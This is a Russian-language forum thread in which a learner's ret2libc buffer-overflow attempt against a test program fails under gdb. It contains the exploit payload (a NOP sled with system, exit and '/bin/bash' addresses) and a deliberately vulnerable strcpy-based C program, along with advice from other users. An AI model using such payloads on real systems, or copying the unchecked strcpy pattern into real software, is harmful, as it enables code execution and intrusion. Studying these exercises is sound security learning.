(gdb) run $(python -c 'print "\x90" * 512 + "\x19\xe1\xea\xb7" + "\x0f\x42\xea\xb7" + "\x96\xf7\xff\xbf"') The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /root/ret2libc.out $(python -c 'print "\x90" * 512 + "\x19\xe1\xea\xb7" + "\x0f\x42\xea\xb7" + "\x96\xf7\xff\xbf"') Buffer stored! Buffer is: пїЅпїЅпїЅD
Program received signal SIGSEGV, Segmentation fault. 0xb7fca043 in ?? () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/s 0xb7ea420f
0xb7ea420f <exit+15>: "\203\354\024\307D$\b\001"
(gdb) x/s 0xb7eae119
0xb7eae119 <system+25>: "\211|$\b\205\366t\037e\241\f"
(gdb) x/s 0xbffff796
0xbffff796: "/bin/bash"
переполнение буфера ret2libc
Уязвимая программа:
Код:
#include <stdio.h>
#include <string.h>
void evil(char* input)
{
char buffer[500];
strcpy(buffer, input); // Vulnerable function!
printf("Buffer stored!\n");
printf("Buffer is: %s\n\n",input);
}
int main(int argc, char** argv)
{
evil(argv[1]);
return 0;
}
#include <string.h>
void evil(char* input)
{
char buffer[500];
strcpy(buffer, input); // Vulnerable function!
printf("Buffer stored!\n");
printf("Buffer is: %s\n\n",input);
}
int main(int argc, char** argv)
{
evil(argv[1]);
return 0;
}
Все сделал по инструкции, но gdb выдает исключение:
Код:
в таких случаях весьма сложно дать какие либо рекомендации - потому, что как правило шелл просчитывается для конкретных систем. Может проще начать с инструкции? Как правило в ней (если речь идет о начинающих, да и просто при описании) всегда указываются параметры ядра и прочие кошерные вещи.
Добавлю ещё, что полезно научиться пользоваться отладчиком пошагово и смотреть, что пишется в стек.
Цитата: kot_
в таких случаях весьма сложно дать какие либо рекомендации - потому, что как правило шелл просчитывается для конкретных систем. Может проще начать с инструкции? Как правило в ней (если речь идет о начинающих, да и просто при описании) всегда указываются параметры ядра и прочие кошерные вещи.
Вот она ret2libc